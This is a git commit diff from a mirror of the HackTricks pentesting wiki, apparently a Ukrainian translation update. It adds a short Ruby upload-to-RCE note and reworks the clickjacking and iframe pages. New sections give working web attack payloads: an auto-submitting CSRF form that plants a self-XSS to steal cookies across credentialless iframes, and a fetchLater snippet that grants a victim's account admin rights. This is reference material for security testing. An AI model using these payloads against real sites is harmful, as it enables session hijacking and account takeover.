mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
68b4019a48
commit
a54e848a0b
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
||||
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Завантаження файлів для RCE
|
||||
|
||||
Як пояснено в [this article](https://www.offsec.com/blog/cve-2024-46986/), завантаження файлу `.rb` у чутливі каталоги, такі як `config/initializers/`, може призвести до віддаленого виконання коду (RCE) в додатках Ruby on Rails.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -8,11 +8,11 @@
|
||||
|
||||
### Трюк з попереднім заповненням форм
|
||||
|
||||
Іноді можливо **заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
|
||||
Іноді можливо **заповнити значення полів форми, використовуючи GET параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
|
||||
|
||||
### Заповнити форму за допомогою Drag\&Drop
|
||||
|
||||
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його ввести якусь конкретну інформацію (таку як електронна пошта або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Основний Payload
|
||||
```css
|
||||
@ -91,12 +91,12 @@ background: #F00;
|
||||
|
||||
Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\
|
||||
Приклад:\
|
||||
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking** і ви можете **попередньо заповнити** **форму** з GET параметрами.\
|
||||
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET.\
|
||||
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманюючи** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
Спочатку [пояснено в цьому пості](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ця техніка вимагатиме від жертви двічі натиснути на кнопку на спеціально створеній сторінці, розміщеній у певному місці, і використовувати різницю в часі між подіями mousedown і onclick, щоб завантажити сторінку жертви під час подвійного натискання, так що **жертва насправді натискає на легітимну кнопку на сторінці жертви**.
|
||||
Спочатку [пояснено в цьому пості](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ця техніка вимагатиме від жертви двічі натиснути на кнопку на спеціально розміщеній кастомній сторінці, і використовувати часові різниці між подіями mousedown і onclick, щоб завантажити сторінку жертви під час подвійного натискання, так що **жертва насправді натискає на легітимну кнопку на сторінці жертви**.
|
||||
|
||||
Приклад можна побачити в цьому відео: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
@ -116,17 +116,17 @@ background: #F00;
|
||||
- Запобігання натисканням на невидимі фрейми.
|
||||
- Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.
|
||||
|
||||
Однак ці скрипти для знищення фреймів можуть бути обійдені:
|
||||
Однак ці скрипти для зламу фреймів можуть бути обійдені:
|
||||
|
||||
- **Налаштування безпеки браузерів:** Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.
|
||||
- **HTML5 iframe `sandbox` атрибут:** Зловмисник може нейтралізувати скрипти для знищення фреймів, встановивши атрибут `sandbox` зі значеннями `allow-forms` або `allow-scripts` без `allow-top-navigation`. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,
|
||||
- **HTML5 iframe `sandbox` атрибут:** Зловмисник може нейтралізувати скрипти для зламу фреймів, встановивши атрибут `sandbox` зі значеннями `allow-forms` або `allow-scripts` без `allow-top-navigation`. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
|
||||
`allow-forms` та `allow-scripts` значення дозволяють дії в iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити належну функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
|
||||
|
||||
### Серверні захисти
|
||||
|
||||
@ -183,7 +183,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
#### JavaScript скрипти для зламу фреймів
|
||||
|
||||
Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання тому, щоб веб-сторінка була в фреймі. Приклад:
|
||||
Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання вкладанню веб-сторінки у фрейм. Приклад:
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
Є 3 способи вказати вміст сторінки в iframe:
|
||||
|
||||
- Через `src`, що вказує на URL (URL може бути крос-доменним або того ж домену)
|
||||
- Через `src`, що вказує на вміст, використовуючи протокол `data:`
|
||||
- Через `srcdoc`, що вказує на вміст
|
||||
- Через `src`, вказуючи URL (URL може бути крос-доменним або того ж домену)
|
||||
- Через `src`, вказуючи вміст за допомогою протоколу `data:`
|
||||
- Через `srcdoc`, вказуючи вміст
|
||||
|
||||
**Доступ до змінних батьківського та дочірнього контексту**
|
||||
```html
|
||||
@ -45,13 +45,13 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині будь-якого iframe** і **тільки iframes if2 та if3 (які вважаються такими ж сайтами) можуть отримати доступ до секрету** в оригінальному вікні.\
|
||||
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині жодного iframe** і **тільки iframes if2 та if3 (які вважаються такими, що належать до одного сайту) можуть отримати доступ до секрету** в оригінальному вікні.\
|
||||
Зверніть увагу, що if4 вважається таким, що має `null` походження.
|
||||
|
||||
### Iframes з CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> Будь ласка, зверніть увагу, що в наступних обхідних шляхах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
|
||||
> [!TIP]
|
||||
> Будь ласка, зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
|
||||
|
||||
Значення `self` для `script-src` не дозволить виконання JS коду, використовуючи протокол `data:` або атрибут `srcdoc`.\
|
||||
Однак навіть значення `none` для CSP дозволить виконання iframe, які вказують URL (повний або лише шлях) в атрибуті `src`.\
|
||||
@ -81,9 +81,9 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
|
||||
.png>)
|
||||
|
||||
Отже, **можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можна також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
|
||||
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
|
||||
|
||||
Ви можете протестувати це в наступному сценарії, де кукі викрадається навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
|
||||
Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -125,7 +125,7 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
- Будь-яка спроба надсилання форм блокується.
|
||||
- Виконання скриптів заборонено.
|
||||
- Доступ до певних API вимкнено.
|
||||
- Він запобігає взаємодії посилань з іншими контекстами перегляду.
|
||||
- Запобігає взаємодії посилань з іншими контекстами перегляду.
|
||||
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
|
||||
- Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
|
||||
- Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
|
||||
@ -134,6 +134,53 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Як пояснено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), прапорець `credentialless` в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.
|
||||
|
||||
Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Приклад експлуатації: Self-XSS + CSRF
|
||||
|
||||
У цій атаці зловмисник готує шкідливу веб-сторінку з 2 iframe:
|
||||
|
||||
- Iframe, який завантажує сторінку жертви з прапором `credentialless` з CSRF, що викликає XSS (Уявіть собі Self-XSS у імені користувача):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Інший iframe, в якому насправді користувач увійшов в систему (без прапора `credentialless`).
|
||||
|
||||
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
Як зазначено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` дозволяє налаштувати запит, який буде виконано пізніше (після певного часу). Тому це можна зловживати, наприклад, для входу жертви в сесію атакуючого (з Self-XSS), налаштувати запит `fetchLater` (щоб змінити пароль поточного користувача, наприклад) і вийти з сесії атакуючого. Потім жертва входить у свою власну сесію, і запит `fetchLater` буде виконано, змінюючи пароль жертви на той, що встановлений атакуючим.
|
||||
|
||||
Таким чином, навіть якщо URL жертви не може бути завантажено в iframe (через CSP або інші обмеження), атакуючий все ще може виконати запит у сесії жертви.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes в SOP
|
||||
|
||||
Перевірте наступні сторінки:
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user